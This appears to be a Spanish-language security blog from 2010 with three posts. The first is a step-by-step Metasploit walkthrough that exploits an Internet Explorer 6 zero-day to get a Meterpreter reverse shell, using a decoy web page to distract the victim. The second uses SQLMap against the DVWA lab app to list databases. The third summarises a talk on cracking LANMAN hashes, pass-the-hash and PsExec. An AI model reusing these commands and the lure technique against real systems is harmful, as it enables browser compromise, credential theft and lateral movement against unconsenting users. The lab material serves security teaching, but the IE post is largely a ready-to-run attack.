lunes 15 de marzo de 2010

IEPeers 0-Day: Explotando (otra vez) Internet Explorer

Hace unos días, el pasado día 9 de Marzo, Microsoft publicó un Advisory que nos comunicaba la existencia de una Vulnerabilidad Zero Day en Internet Explorer 6 y 7, sin parche disponible, que podría ser explotada para ejecutar código de forma remota.

Dicha vulnerabilidad ha sido ya utilizada para la propagación de malware a través de Internet. El exploit utilizado ha sido obtenido y analizado, y ya ha sido portado a Metasploit, por lo que cualquiera puede utilizar este conocido framework de explotación para combinar esta nueva vulnerabilidad con nuestros payloads favoritos, en lugar del payload del malware con el que se encontró originariamente.

La vulnerabilidad encontrada es muy similar a la explotada por el famoso Aurora Zero-Day utilizado contra Google China, del que ya hablamos en su momento en un par de ocasiones. En este caso la vulnerabilidad se encuentra el la librería iepeers.dll y consiste en la realización de un acceso a memoria a través de un puntero previamente liberado, todo ello a través de Javascript:


Para utilizar Metasploit para explotar esta vulnerabilidad no es necesario descargarse el plugin del enlace que hemos referenciado, ya que forma parte del repositorio oficial de Metasploit, por lo que solo tenemos que actualizar nuestro framework:

# cd /opt/msf3
# svn update

Una vez actualizado, arrancamos Metasploit y seleccionamos este plugin, y nuestro payload favorito, en este caso Meterpreter:

# ./msfconsole
> use windows/browser/ie_iepeers_pointer
> set PAYLOAD windows/meterpreter/reverse_tcp
> set LHOST [BackTrackIP]
> show options


Una vez preparada la explotación ya solo tenemos que lanzar el exploit, el cual levantará un servidor web en el puerto 8080 y nos proporcionará una URL que el navegador víctima deberá visitar para ser explotado:

> exploit


Sin embargo, si utilizamos este exploit directamente contra un navegador, veremos que el navegador se queda completamente bloqueado o incluso que se cierra, así que vamos a introducir una pequeña variante para ocultar un poco la explotación de una manera no demasiado complicada ni sofisticada.

Para ello, levantamos un servidor apache en el puerto 80 con un simple HTML, a través del cual mostraremos una web "señuelo" para entretener al usuario mientras se lanza otro navegador que visita la URL que nos ha proporcionado Metasploit:

# cat /var/www/index.html


Bueno, pues ya lo tenemos todo listo, ahora solo nos queda que un pobre incauto visite nuestra web trampa. Podemos observar en el siguiente video como sería el efecto visual, además de como migramos Meterpreter de proceso para que no nos quedemos sin conexión al cerrar el usuario el navegador, todo ello de forma automática:



Estas pruebas han sido realizadas con Internet Explorer 6. No se han obtenido pruebas satisfactorias con Internet Explorer 7, ya que el exploit ha sido creado a partir del malware original, que parecía tener como foco únicamente la versión 6 del navegador de Microsoft. Sin embargo, la versión 7 del navegador también es vulnerable, y con algo más de esfuerzo podría obtenerse un exploit completamente funcional.

Para mitigar esta vulnerabilidad, se recomienda a todos los usuarios de Internet Explorer que actualicen su software a Internet Explorer 8, ya que esta versión no se ve afectada por la vulnerabilidad.

martes 9 de marzo de 2010

SQLMap: Inyección SQL Automática

SQLMap es una herramienta para llevar a cabo inyecciones SQL realizada por Bernardo Damele (líder de proyecto) y Miroslav Stampar (Desarrollador). Es una herramienta desarrollada en Python y por tanto independiente del sistema operativo.

Una vez hecha la pequeña presentación de la herramienta, vamos a juguetear un poco con ella. Para las pruebas realizadas hemos utilizado:

  • DVWA versión 1.0.6 como aplicación vulnerable a SQL injection
  • SQLMap 0.7 como herramienta para realizar SQL injection
  • Mysql 5.0.51
  • Sistema Operativo, Debian
Accedemos a la aplicación DVWA con nuestras credenciales, accedemos desde el menú de la izquierda a la opción "SQL Injection":






La aplicación recibe un identificador numérico y devuelve qué usuario dispone de ese identificador. Por ejemplo, si introducimos un '1' como "user id" la aplicación nos devolverá 'admin'. La aplicación realiza la siguiente consulta SQL sobre la base de datos, "SELECT first_name, last_name FROM users WHERE user_id = '$id'", recibiendo como parámetro el user_id. En el caso de no realizar un buen tratamiento del identificador un atacante podrá realizar una inyección SQL.

Vamos a probar qué sucede si introducimos una comilla seguida de un identificador numérico:



Como vemos se produce un error que nos indica que estamos ante una "posible" inyección SQL. En este caso concreto sabemos a ciencia cierta que existe, así que ahora vamos a ver cómo se comporta SQLMap, para ello lanzamos SQLMap pasándole la URL y los identificadores de sesión:

$> sqlmap.exe --url="http://192.168.72.133/webapp/dvwa/vulnerabilities/sqli/index.php?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=5c8195bf7834edb2e4ab7b6eae6af45f"

Resultado obtenido:



Nosotros sabemos que el parámetro id es vulnerable a SQL injection y que la base de datos es Mysql, pero en este caso SQLMap parece no darnos el resultado esperado, ¿por qué?. SQLMap compara la página sin ningún tipo inyección con la página con la inyección y en función de la variación entre ellas devuelve True o False (True si supera determinado ratio y False en el caso contrario). En nuestro caso si la inyección deriva en una página de error (por lo que no está bien construida) esta varía mucho de la página sin ningún tipo de inyección; por el contrario si la inyección resulta exitosa devolverá en el campo ID nuestra inyección, dejando igual los campos "First name" y "Surname". En la ejecución anterior SQLMap no funciona de manera correcta porque el campo ID con nuestra inyección hace variar demasiado la página. Si vamos haciendo una traza de la ejecución observamos que es en el fichero "comparison.py" donde devuelve "False" en base a dos valores, ratio y conf.matchRatio.



Añadimos dos líneas a este fichero, 'logger.info(ratio) y logger.info(conf.matchRatio)', para observar qué valores tienen las variables ratio y conf.matchRatio cuando realiza una inyección que efectivamente debería surtir efecto:



Como vemos la página con la inyección varía "demasiado" para ser detectado por nuestra sensible herramienta. Para ayudarla un poco vamos a utilizar el parámetro "--string", con el objetivo de introducir una cadena que esté siempre en la página sin inyección y en la página con una inyección que debiera volver True. Por contra esta cadena no debería estar cuando devuelva False. En este caso si introducimos como "id=1", sabemos que debe devolver admin cuando se produzca un True y no debe aparecer cuando devuelva False. Vamos a probar:

$> python -d /usr/bin/sqlmap --url="http://192.168.72.133/webapp/dvwa/vulnerabilities/sqli/index.php?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=5c8195bf7834edb2e4ab7b6eae6af45f" --string="admin"

Resultado obtenido:



Ahora que parece funcionar, vamos a obtener por ejemplo las bases de datos que posee la base de datos:

$> python -d /usr/bin/sqlmap --url="http://192.168.72.133/webapp/dvwa/vulnerabilities/sqli/index.php?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=5c8195bf7834edb2e4ab7b6eae6af45f" --string="admin" --dbs



Vemos que existen cuatro base de datos (dvwa, information_schema, mysql y wordpress281) en la base de datos. Llegados a este punto empieza la fiesta y ya podemos ir consultando con la herramienta diferentes aspectos de la base de datos, y que podéis consultar en el manual de SQLMap.

En una próxima entrada llegaremos un poco más lejos ..... a través de una inyección SQL. Espero que esta entrada os sirva para ver cómo toquetear SQLMap un poquito y empezar con lo divertido.

miércoles 3 de marzo de 2010

Windows Post-Explotation & Pass-the-Hash

El pasado viernes por la tarde, en las Conferencias FIST de Barcelona, tuvimos la oportunidad de dar una de las charlas de 45 minutos en las que explicábamos algunas técnicas que podemos realizar durante la realización de un test de intrusión una vez hemos conseguido hacernos con el control de una de las máquinas. Concretamente, repasábamos algunas de las técnicas que se pueden emplear en sistemas Windows.

Entre las técnicas mencionadas, comentamos como se pueden aprovechar los fallos existentes en el antiguo Hash LANMAN utilizado aún por Microsoft por motivos de compatibilidad para obtener las contraseñas de una forma más fácil y rápida. Otra de las técnicas mencionadas consistía en la utilización de hashes que no habían podido ser crackeados debido a la robustez de la clave, pero que igualmente podían ser utilizados empleando técnicas de Pass-the-Hash para lograr propagar nuestra intrusión en el resto de los equipos sin necesidad de conocer la contraseña.
Podemos descargar la presentación o verla directamente a través de Scribd:




También podemos ver un pequeño video de las demostraciones que me llevé preparado por si me fallaban las maquetas, o el ordenador, o algo:




En el video podemos ver como, tras una intrusión en el sistema XPOWNED, robamos los hashes y los intentamos crackear utilizando las conocidas debilidades del algoritmo LANMAN de Microsoft. Sin embargo, una de las contraseñas se nos resiste tanto al ataque de diccionario como al de fuerza bruta, así que aplicamos sobre este Hash las técnicas de Pass-the-Hash. Para ello, utilizamos el Pass-the-Hash Toolkit (PSH) que como vemos cambia en la memoria de nuestro propio Windows las credenciales para sustituirlas por las credenciales del usuario suplantado, y a partir de ahí, a todos los efectos somos ese usuario en la red. Por último usamos el módulo PSExec de Metasploit para ejecutar comandos en el sistema XPTARGET. Para más información podeis consultar la presentación.

Por último, agradecer a todas las personas que vinieron el interés mostrado por nuestra charla. Esperamos que resultara interesante y esperamos también poder contar con vosotros para las sucesivas charlas que nos inviten a dar, que esperemos que sean muchas ;)

Lamento la tardanza en poner el post, pero lo de los videos se me sigue resistiendo, aunque parece que ahora, por fin, ya lo tengo solucionado ;P

Saludos a todos!